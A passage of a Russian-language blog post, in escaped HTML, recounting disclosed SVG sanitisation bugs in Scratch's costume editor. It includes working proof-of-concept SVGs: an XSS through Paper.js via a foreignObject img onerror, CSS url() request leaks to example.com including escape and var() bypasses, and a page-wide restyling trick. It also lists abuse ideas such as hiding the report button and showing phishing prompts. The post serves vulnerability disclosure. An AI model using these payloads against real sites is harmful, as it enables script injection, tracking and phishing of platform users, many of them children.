\u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e SVG \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.<\/p>\n<h3>2024 \u0433\u043e\u0434: XSS \u0447\u0435\u0440\u0435\u0437 Paper.js<\/h3>\n<p>\u0412 2024 \u0433\u043e\u0434\u0443 \u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b <a href=\"https:\/\/muffin.ink\/blog\/paperjs-xss\" rel=\"noopener noreferrer nofollow\">XSS<\/a>\u00a0\u0432 <a href=\"https:\/\/github.com\/paperjs\/paper.js\" rel=\"noopener noreferrer nofollow\">Paper.js<\/a> \u2014 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435, \u043a\u043e\u0442\u043e\u0440\u0443\u044e Scratch \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u043a\u043e\u0441\u0442\u044e\u043c\u043e\u0432. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0445\u043e\u0442\u044f Scratch \u0441\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043b SVG \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0431\u043e\u0442\u043e\u0439 \u0441 \u043d\u0438\u043c\u0438 \u0432 scratch-svg-renderer, Paper.js \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u043d\u0435\u0441\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 SVG. \u0412 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0430 \u0442\u0430\u043a\u0443\u044e \u0436\u0435 \u0443\u0433\u0440\u043e\u0437\u0443, \u043a\u0430\u043a XSS scratch-svg-renderer, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0435 \u0432 2020 \u0433\u043e\u0434\u0443, \u043d\u043e \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u043b\u0430 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 \u043a\u043e\u0441\u0442\u044e\u043c\u043e\u0432, \u0430 \u043d\u0435 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430. \u041f\u0440\u0438\u043c\u0435\u0440:<\/p>\n<pre><code class=\"xml\">&lt;svg version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" xmlns:xlink=\"http:\/\/www.w3.org\/1999\/xlink\" data-paper-data=\"any invalid JSON\"&gt;    &lt;foreignObject x=\"1\" y=\"1\" width=\"1\" height=\"1\"&gt;        &lt;img            xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\"            src=\"data:any invalid URL\"            onerror=\"alert(1)\"        \/&gt;    &lt;\/foreignObject&gt;&lt;\/svg&gt;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 <a href=\"https:\/\/github.com\/scratchfoundation\/scratch-editor\/pull\/251\" rel=\"noopener noreferrer nofollow\">\u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0440\u0435\u0448\u0435\u043d\u0430<\/a>\u00a0\u0437\u0430 \u043e\u0447\u0435\u043d\u044c \u0434\u043e\u043b\u0433\u0438\u0439 \u043f\u0435\u0440\u0438\u043e\u0434 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0441\u0430\u043d\u0430\u0446\u0438\u0438 SVG: \u0442\u0435\u043f\u0435\u0440\u044c \u043e\u043d \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0441\u044f \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 SVG, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u0435\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0432 scratch-svg-renderer. \u0421 \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 Paper.js \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0443\u0436\u0435 \u0441\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 SVG.<\/p>\n<p>\u042f \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u00ab\u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0440\u0435\u0448\u0435\u043d\u0430\u00bb, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043d\u0435 \u0437\u043d\u0430\u044e, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043b\u0438 \u0432\u043e\u043e\u0431\u0449\u0435 \u0441\u0430\u043d\u0430\u0446\u0438\u044f \u0434\u043b\u044f \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c SVG. \u0412 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0435 Scratch \u043c\u043d\u0435 \u0441\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0443 \u043d\u0438\u0445 \u00ab\u0435\u0441\u0442\u044c \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u043f\u0440\u043e\u0442\u0438\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u00bb, \u0438\u0437-\u0437\u0430 \u0447\u0435\u0433\u043e \u0442\u0430\u043a\u0430\u044f \u0441\u0430\u043d\u0430\u0446\u0438\u044f \u0431\u044b\u043b\u0430 \u0431\u044b \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439. \u041f\u0440\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435 proof-of-concept \u044f \u043d\u0438 \u0440\u0430\u0437\u0443 \u043d\u0435 \u0432\u0438\u0434\u0435\u043b \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0442\u0430\u043a\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u044b, \u043d\u043e, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043e\u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u0430.<\/p>\n<p>\u0427\u0442\u043e \u0436, \u0442\u0435\u043f\u0435\u0440\u044c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e SVG \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.<\/p>\n<h3>2025 \u0433\u043e\u0434: HTTP-\u0443\u0442\u0435\u0447\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 url() CSS<\/h3>\n<p>\u0412 2025 \u0433\u043e\u0434\u0443 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 <code>url()<\/code>\u00a0\u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0430\u0432\u0438\u043b CSS \u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c SVG, \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0441\u043e\u0437\u0434\u0430\u044e\u0449\u0438\u0439 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441. \u041f\u0440\u0438\u043c\u0435\u0440\u044b:<\/p>\n<pre><code class=\"xml\">&lt;svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\"&gt;    &lt;!-- \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u0441\u0442\u0438\u043b\u044c --&gt;    &lt;rect style=\"background-image: url(https:\/\/example.com\/ping)\" \/&gt;    &lt;!-- \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u043b\u0435\u043c\u0435\u043d\u0442 &lt;style&gt; --&gt;    &lt;style&gt;        .img {            background-image: url(\"https:\/\/example.com\/ping\");        }    &lt;\/style&gt;    &lt;rect class=\"img\" \/&gt;&lt;\/svg&gt;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 <a href=\"https:\/\/github.com\/scratchfoundation\/scratch-editor\/commit\/2756ebd4275987e2f99791ae6123daea1fb28ce7\" rel=\"noopener noreferrer nofollow\">\u0440\u0435\u0448\u0435\u043d\u0430<\/a> \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430 \u0441\u0430\u043d\u0430\u0446\u0438\u0438 SVG: \u0442\u0435\u043f\u0435\u0440\u044c \u043e\u043d \u0438\u0441\u043a\u0430\u043b \u043b\u044e\u0431\u044b\u0435 \u0432\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f <code>url()<\/code>\u00a0\u0438 \u0443\u0434\u0430\u043b\u044f\u043b \u0432\u0441\u0435 \u0441\u0442\u0438\u043b\u0438 \u0438\u043b\u0438 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b, \u0441\u0441\u044b\u043b\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0438\u0435 URL.<\/p>\n<p>\u0427\u0442\u043e \u0436, \u0442\u0435\u043f\u0435\u0440\u044c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e SVG \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.<\/p>\n<h3>2026 \u0433\u043e\u0434: HTTP-\u0443\u0442\u0435\u0447\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0431\u0430\u0433\u043e\u0432 \u0432 \u0441\u0442\u0430\u0440\u043e\u043c \u043a\u043e\u0434\u0435<\/h3>\n<p>\u0412 2026 \u0433\u043e\u0434\u0443 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 <code>url()<\/code>\u00a0\u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0430\u0432\u0438\u043b CSS \u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c SVG, \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0441\u043e\u0432\u0435\u0440\u0448\u0430\u044e\u0449\u0438\u0439 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u044d\u0442\u0430 HTTP-\u0443\u0442\u0435\u0447\u043a\u0430 \u0441\u0442\u0430\u043b\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0439 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0451\u043c \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0431\u0430\u0433\u0430\u043c:<\/p>\n<ul>\n<li>\n<p>\u041d\u0435 \u0443\u0447\u0442\u0435\u043d\u043e \u0442\u043e, \u0447\u0442\u043e CSS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c <code>url(...)<\/code>\u00a0\u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0435\u0439<\/p>\n<\/li>\n<li>\n<p>\u041d\u0435 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b\u0430\u0441\u044c \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0430\u0442\u0440\u0438\u0431\u0443\u0442 <code>style<\/code>\u00a0\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e <code>url(...)<\/code>, \u0433\u0434\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u0435\u043d, \u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0442<\/p>\n<\/li>\n<li>\n<p>\u041d\u0435 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b\u0441\u044f <code>url()<\/code>, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0439 \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 CSS, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 <code>var(--name)<\/code><\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440:<\/p>\n<pre><code class=\"xml\">&lt;svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\"&gt;    &lt;circle fill=\"\\75\\72\\6c(https:\/\/example.com\/ping)\" \/&gt;    &lt;rect style=\"\/* url(#safe_url) *\/ background-image: url(https:\/\/example.com\/ping)\" \/&gt;    &lt;style&gt;        :root {            --example: url(https:\/\/example.com\/ping);        }        .img {            background-image: var(--example);        }    &lt;\/style&gt;    &lt;rect class=\"img\" \/&gt;&lt;\/svg&gt;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 <a href=\"https:\/\/github.com\/scratchfoundation\/scratch-editor\/commit\/fbea3d199278c19f88023cdd48c83d6edd7cf81d\" rel=\"noopener noreferrer nofollow\">\u0440\u0435\u0448\u0435\u043d\u0430<\/a>\u00a0<a href=\"https:\/\/github.com\/scratchfoundation\/scratch-editor\/commit\/6d20ec339f24367502bd326bb7580ddd6bcffe23\" rel=\"noopener noreferrer nofollow\">\u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c<\/a>\u00a0<a href=\"https:\/\/github.com\/scratchfoundation\/scratch-editor\/commit\/2570c393f8ca4e47ea6a905bbc0fa3f4db90e4df\" rel=\"noopener noreferrer nofollow\">\u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043e\u0431\u044a\u0451\u043c\u0430<\/a>\u00a0<a href=\"https:\/\/github.com\/scratchfoundation\/scratch-editor\/commit\/b850a15d871adb67e150c89bd8c1a36fdc044251\" rel=\"noopener noreferrer nofollow\">\u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438<\/a>\u00a0<a href=\"https:\/\/github.com\/scratchfoundation\/scratch-editor\/commit\/9442435c68699dd7af30aae23b9f725f627fb4a1\" rel=\"noopener noreferrer nofollow\">\u0432\u043e\u043a\u0440\u0443\u0433 \u043a\u043e\u0434\u0430<\/a>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438 \u0442\u0430\u043a \u0443\u0436\u0435 \u0431\u044b\u043b \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0441\u043b\u043e\u0436\u043d\u044b\u043c.<\/p>\n<p>\u0427\u0442\u043e \u0436, \u0442\u0435\u043f\u0435\u0440\u044c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e SVG \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.<\/p>\n<h3>2026 \u0433\u043e\u0434: \u043f\u043e\u043b\u043d\u0430\u044f \u0441\u043c\u0435\u043d\u0430 \u0441\u0442\u0438\u043b\u0435\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0434\u043e\u043b\u0433\u0438\u0445 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432<\/h3>\n<p>\u0412 2026 \u0433\u043e\u0434\u0443 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0445\u0438\u0442\u0440\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432 \u043e\u0447\u0435\u043d\u044c \u0434\u043e\u043b\u0433\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b \u0438 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u0442\u0438\u043b\u0438 \u0432\u0441\u0435\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432, \u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e \u0432\u0441\u0435\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 Scratch \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0442\u0438\u043b\u0438, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435\u0441\u044f \u0434\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b. \u0427\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0439, \u043d\u043e \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u0438 \u0434\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0437\u043b\u043e\u0432\u0435\u0449\u0438\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439:<\/p>\n<ul>\n<li>\n<p>\u041f\u0440\u044f\u0442\u0430\u0442\u044c \u043a\u043d\u043e\u043f\u043a\u0443 \u00ab\u041f\u043e\u0436\u0430\u043b\u043e\u0432\u0430\u0442\u044c\u0441\u044f\u00bb.<\/p>\n<\/li>\n<li>\n<p>\u0421\u0434\u0435\u043b\u0430\u0442\u044c \u043a\u043d\u043e\u043f\u043a\u0438 \u043b\u0430\u0439\u043a\u043e\u0432\/\u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432 \u0438\u0437\u0431\u0440\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u0441\u043e \u0432\u0441\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u044b \u0431\u044b\u043b\u0438 \u0438\u0445 \u043d\u0430\u0436\u0438\u043c\u0430\u0442\u044c.<\/p>\n<\/li>\n<li>\n<p>\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c \u0442\u0435\u043a\u0441\u0442, \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0447\u0442\u043e \u0435\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0435\u0431-\u0441\u0430\u0439\u0442 \u0432 \u043d\u043e\u0432\u043e\u0439 \u0432\u043a\u043b\u0430\u0434\u043a\u0435, \u0447\u0442\u043e\u0431\u044b \u00ab\u0432\u0435\u0440\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u00bb \u0441\u0432\u043e\u0439 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 (\u043d\u0430 \u043a\u0430\u043a\u043e\u0439-\u043d\u0438\u0431\u0443\u0434\u044c \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435). \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u043f\u043e\u0432\u0435\u0440\u044f\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u043c, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043f\u043e\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u043e\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e <a href=\"http:\/\/scratch.mit.edu\" rel=\"noopener noreferrer nofollow\">scratch.mit.edu<\/a>.<\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 (\u043d\u0435 \u043c\u043e\u0439):\u00a0<a href=\"https:\/\/scratch.mit.edu\/projects\/1299571218\/\" rel=\"noopener noreferrer nofollow\">https:\/\/scratch.mit.edu\/projects\/1299571218\/<\/a><\/p>\n<p>\u0420\u0430\u043d\u043e \u0438\u043b\u0438 \u043f\u043e\u0437\u0434\u043d\u043e \u044d\u0442\u043e, \u043d\u0430\u0432\u0435\u0440\u043d\u043e, \u0438\u0441\u043f\u0440\u0430\u0432\u044f\u0442, \u043d\u043e \u043f\u043e\u043a\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0431\u0443\u0434\u0435\u0442 \u0432\u0438\u0434\u0435\u0442\u044c \u0442\u0430\u043a\u043e\u0435:<\/p>\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/cc5\/f9b\/08b\/cc5f9b08bd5ee9c37e73ce0082629fc4.png\" alt=\"Scratch project page, but all the page background colors are very obviously wrong.\" title=\"\" width=\"1033\" height=\"798\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/cc5\/f9b\/08b\/cc5f9b08bd5ee9c37e73ce0082629fc4.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/cc5\/f9b\/08b\/cc5f9b08bd5ee9c37e73ce0082629fc4.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p>\u0412 \u044d\u0442\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u0432\u0430 SVG. \u041f\u0435\u0440\u0432\u044b\u0439 \u0438\u0437 \u043d\u0438\u0445 \u2014 \u044d\u0442\u043e \u00ab\u0442\u0440\u0438\u0433\u0433\u0435\u0440\u00bb:<\/p>\n<pre><code class=\"xml\">&lt;svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"200\" height=\"100\"&gt;  &lt;rect x=\"0\" y=\"0\" width=\"200\" height=\"100\" fill=\"#111\"&gt;&lt;\/rect&gt;  &lt;text x=\"100\" y=\"55\" fill=\"#0f0\" font-size=\"12\" text-anchor=\"middle\"&gt;    Trigger  &lt;\/text&gt;  &lt;style&gt;    \/* \u0417\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0442\u044c \u0441\u0442\u0438\u043b\u0438 \u0437\u0430\u043d\u043e\u0432\u043e, \u0447\u0442\u043e\u0431\u044b \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0432\u044b\u0439 SVG *\/    *, * *, * * *, * * * * {      transform: translateX(1px) scale(10000) rotateY(45deg) perspective(1cm) !important;      transition: all 9999s ease !important;      filter: blur(0px) !important;    }  &lt;\/style&gt;&lt;\/svg&gt;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img 